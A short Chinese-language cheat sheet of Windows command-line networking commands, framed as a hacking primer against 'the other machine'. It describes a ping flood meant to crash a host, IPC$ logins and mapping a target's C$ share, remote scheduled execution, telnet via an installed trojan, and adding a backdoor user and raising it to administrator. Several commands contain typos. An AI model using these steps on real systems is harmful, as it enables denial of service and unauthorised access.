ping
用来测试网络是否建立连接，获取ip地址，也可以用来攻击

ping -l 65500 -t 127.0.0.0『对某个地址连续发送大小为65500大小的数据包，一直到它死机，对98使用较好

2】netstat -a
查看自己开的端口，常常用来手工查看是否中了木马，或者黑客程序

3】netstat -n
查看自己机器正在和哪些机器的哪个端口进行连接

4】ftp
文件传送协议命令，与对方机器连接后上传和下载文件
下载对方的东西的格式：
get *.* c:\
上传文件：
put c:\*.*

5】net use
1 ipc$连接
net use \\127.0.0.1\ipc$ "123" /user:"admin"
密码为123 用户名 admin
2 退出ipc$
net use \127.0.0.1\ips$ /delte
3 把对方的共享的文件夹映射
net use z: \\127.0.0.1\c$

6】net time
查看对方时间
net time \\127.0.0.1

7】指定时间运行对方机器中的程序
at \\127.0.0.1 12:30 *.exe

8】telnet
与对方做远程连接
一般需要用户名和密码，你在它的机器安装了木马就简单了
telnet 【ip】 【端口】

9】net user
添加用户命令
net user netdemon 123 /add
添加一个用户名为netdemon密码为123的用户

激活guest
net user guest /active:yes

10】提升权限
ner localgroup administrators netdemon /add
把netdemon提升为管理员

11】net start
查看机器开放的服务
可以启动服务
net start telnet
启动telnet服务

12】net stop
停止服务
net stop telnet
用来关闭服务

13】iisreset /reboot
重启机器2k

14】finger
查看对方最近有那些用户登陆用来得到对方的用户名
figer username @host

15】ipconfig
查机器有多少网卡：查看本机器ip地址